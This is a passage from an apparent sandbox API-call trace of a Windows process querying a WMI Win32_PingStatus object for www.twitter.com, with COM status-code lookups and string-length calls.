varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25ca250*=8, plFlavor=0x25ca254*=64) returned 0x0 [0160.434] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.434] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.434] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ca42c*=0, plFlavor=0x25ca430*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25ca42c*=3, plFlavor=0x25ca430*=64) returned 0x0 [0160.434] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DERIVATION", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ca460*=0, plFlavor=0x25ca464*=0 | out: pVal=0x5bde9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25ca460*=8200, plFlavor=0x25ca464*=64) returned 0x0 [0160.435] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SERVER", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ca494*=0, plFlavor=0x25ca498*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25ca494*=8, plFlavor=0x25ca498*=64) returned 0x0 [0160.435] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.435] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.435] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ca4e0*=0, plFlavor=0x25ca4e4*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25ca4e0*=8, plFlavor=0x25ca4e4*=64) returned 0x0 [0160.435] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.435] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.435] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ca52c*=0, plFlavor=0x25ca530*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25ca52c*=8, plFlavor=0x25ca530*=64) returned 0x0 [0160.435] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.435] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.435] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdea10 | out: puCount=0x5bdea10*=0x2) returned 0x0 [0160.435] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdea0c*=0xf, pszText=0x0) returned 0x0 [0160.435] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.435] IWbemClassObject:Get (in: This=0x5f6b230, wszName="WriteDebugStream", lFlags=0, pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ca764*=0, plFlavor=0x25ca768*=0 | out: pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ca764*=0, plFlavor=0x25ca768*=0) returned 0x80041002 [0160.436] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9f0 | out: pperrinfo=0x5bde9f0*=0x0) returned 0x1 [0160.437] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde650 | out: ppv=0x5bde650*=0x5f6af90) returned 0x0 [0160.437] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af90, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde868 | out: ppvObject=0x5bde868*=0x0) returned 0x80004002 [0160.437] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5f6af90, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde874 | out: ppvObject=0x5bde874*=0x5f6aed0) returned 0x0 [0160.437] WbemStatusCodeText:IUnknown:Release (This=0x5f6af90) returned 0x0 [0160.437] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6aed0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde494 | out: ppvObject=0x5bde494*=0x5f6aed0) returned 0x0 [0160.437] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6aed0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde448 | out: ppvObject=0x5bde448*=0x0) returned 0x80004002 [0160.438] WbemStatusCodeText:IUnknown:AddRef (This=0x5f6aed0) returned 0x3 [0160.438] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6aed0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddda4 | out: ppvObject=0x5bddda4*=0x0) returned 0x80004002 [0160.438] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6aed0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd54 | out: ppvObject=0x5bddd54*=0x0) returned 0x80004002 [0160.438] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6aed0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bddd60 | out: ppvObject=0x5bddd60*=0x0) returned 0x80004002 [0160.438] CoGetContextToken (in: pToken=0x5bdddc0 | out: pToken=0x5bdddc0) returned 0x0 [0160.438] CoGetContextToken (in: pToken=0x5bde1d4 | out: pToken=0x5bde1d4) returned 0x0 [0160.438] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6aed0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde254 | out: ppvObject=0x5bde254*=0x0) returned 0x80004002 [0160.438] WbemStatusCodeText:IUnknown:Release (This=0x5f6aed0) returned 0x2 [0160.438] WbemStatusCodeText:IUnknown:Release (This=0x5f6aed0) returned 0x1 [0160.438] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0160.438] CoGetContextToken (in: pToken=0x5bde7b4 | out: pToken=0x5bde7b4) returned 0x0 [0160.438] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6aed0, riid=0x5bde884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde880 | out: ppvObject=0x5bde880*=0x5f6aed0) returned 0x0 [0160.438] WbemStatusCodeText:IUnknown:AddRef (This=0x5f6aed0) returned 0x3 [0160.438] WbemStatusCodeText:IUnknown:Release (This=0x5f6aed0) returned 0x2 [0160.438] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5f6aed0, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9e4 | out: MessageText=0x5bde9e4*="Not found ") returned 0x0 [0160.438] SysStringByteLen (bstr="Not found ") returned 0x14 [0160.439] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0160.439] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0160.439] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.439] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0160.440] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0160.440] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.440] IWbemClassObject:GetNames (in: This=0x5f6b230, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde9d0 | out: pNames=0x5bde9d0*="\x01ƀ\x04") returned 0x0 [0160.440] SafeArrayGetDim (psa=0x5f6db48) returned 0x1 [0160.440] SafeArrayGetDim (psa=0x5f6db48) returned 0x1 [0160.440] SafeArrayGetLBound (in: psa=0x5f6db48, nDim=0x1, plLbound=0x5bde868 | out: plLbound=0x5bde868) returned 0x0 [0160.440] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.440] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.440] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.440] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.440] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.440] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.440] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.440] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.440] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.440] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.440] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.440] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.440] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.440] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.441] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.441] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.441] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.441] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.441] SysStringByteLen (bstr="__PATH") returned 0xc [0160.441] SysStringByteLen (bstr="__PATH") returned 0xc [0160.441] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__GENUS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cab44*=0, plFlavor=0x25cab48*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25cab44*=3, plFlavor=0x25cab48*=64) returned 0x0 [0160.441] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cab78*=0, plFlavor=0x25cab7c*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25cab78*=8, plFlavor=0x25cab7c*=64) returned 0x0 [0160.441] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.441] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.441] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cabd0*=0, plFlavor=0x25cabd4*=0 | out: pVal=0x5bde9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cabd0*=8, plFlavor=0x25cabd4*=64) returned 0x0 [0160.441] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DYNASTY", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cabf8*=0, plFlavor=0x25cabfc*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25cabf8*=8, plFlavor=0x25cabfc*=64) returned 0x0 [0160.442] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.442] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.442] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__RELPATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cac50*=0, plFlavor=0x25cac54*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25cac50*=8, plFlavor=0x25cac54*=64) returned 0x0 [0160.442] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.442] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.442] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cae2c*=0, plFlavor=0x25cae30*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25cae2c*=3, plFlavor=0x25cae30*=64) returned 0x0 [0160.442] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DERIVATION", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cae60*=0, plFlavor=0x25cae64*=0 | out: pVal=0x5bde9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25cae60*=8200, plFlavor=0x25cae64*=64) returned 0x0 [0160.443] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SERVER", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cae94*=0, plFlavor=0x25cae98*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25cae94*=8, plFlavor=0x25cae98*=64) returned 0x0 [0160.443] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.443] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.443] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25caee0*=0, plFlavor=0x25caee4*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25caee0*=8, plFlavor=0x25caee4*=64) returned 0x0 [0160.443] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.443] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.443] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25caf2c*=0, plFlavor=0x25caf30*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25caf2c*=8, plFlavor=0x25caf30*=64) returned 0x0 [0160.443] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.443] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.443] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdea10 | out: puCount=0x5bdea10*=0x2) returned 0x0 [0160.443] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdea0c*=0xf, pszText=0x0) returned 0x0 [0160.443] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.443] IWbemClassObject:Get (in: This=0x5f6b230, wszName="WriteInformationStream", lFlags=0, pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cb164*=0, plFlavor=0x25cb168*=0 | out: pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cb164*=0, plFlavor=0x25cb168*=0) returned 0x80041002 [0160.443] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9f0 | out: pperrinfo=0x5bde9f0*=0x0) returned 0x1 [0160.445] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde650 | out: ppv=0x5bde650*=0x5f6af90) returned 0x0 [0160.445] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af90, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde868 | out: ppvObject=0x5bde868*=0x0) returned 0x80004002 [0160.445] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5f6af90, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde874 | out: ppvObject=0x5bde874*=0x5f6af20) returned 0x0 [0160.445] WbemStatusCodeText:IUnknown:Release (This=0x5f6af90) returned 0x0 [0160.445] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af20, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde494 | out: ppvObject=0x5bde494*=0x5f6af20) returned 0x0 [0160.445] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af20, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde448 | out: ppvObject=0x5bde448*=0x0) returned 0x80004002 [0160.445] WbemStatusCodeText:IUnknown:AddRef (This=0x5f6af20) returned 0x3 [0160.446] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af20, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddda4 | out: ppvObject=0x5bddda4*=0x0) returned 0x80004002 [0160.446] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af20, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd54 | out: ppvObject=0x5bddd54*=0x0) returned 0x80004002 [0160.446] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af20, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bddd60 | out: ppvObject=0x5bddd60*=0x0) returned 0x80004002 [0160.446] CoGetContextToken (in: pToken=0x5bdddc0 | out: pToken=0x5bdddc0) returned 0x0 [0160.446] CoGetContextToken (in: pToken=0x5bde1d4 | out: pToken=0x5bde1d4) returned 0x0 [0160.446] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af20, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde254 | out: ppvObject=0x5bde254*=0x0) returned 0x80004002 [0160.446] WbemStatusCodeText:IUnknown:Release (This=0x5f6af20) returned 0x2 [0160.446] WbemStatusCodeText:IUnknown:Release (This=0x5f6af20) returned 0x1 [0160.446] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0160.446] CoGetContextToken (in: pToken=0x5bde7b4 | out: pToken=0x5bde7b4) returned 0x0 [0160.446] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af20, riid=0x5bde884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde880 | out: ppvObject=0x5bde880*=0x5f6af20) returned 0x0 [0160.446] WbemStatusCodeText:IUnknown:AddRef (This=0x5f6af20) returned 0x3 [0160.446] WbemStatusCodeText:IUnknown:Release (This=0x5f6af20) returned 0x2 [0160.446] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5f6af20, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9e4 | out: MessageText=0x5bde9e4*="Not found ") returned 0x0 [0160.446] SysStringByteLen (bstr="Not found ") returned 0x14 [0160.448] GetConsoleOutputCP () returned 0x1b5 [0160.448] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0160.448] GetConsoleOutputCP () returned 0x1b5 [0160.448] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 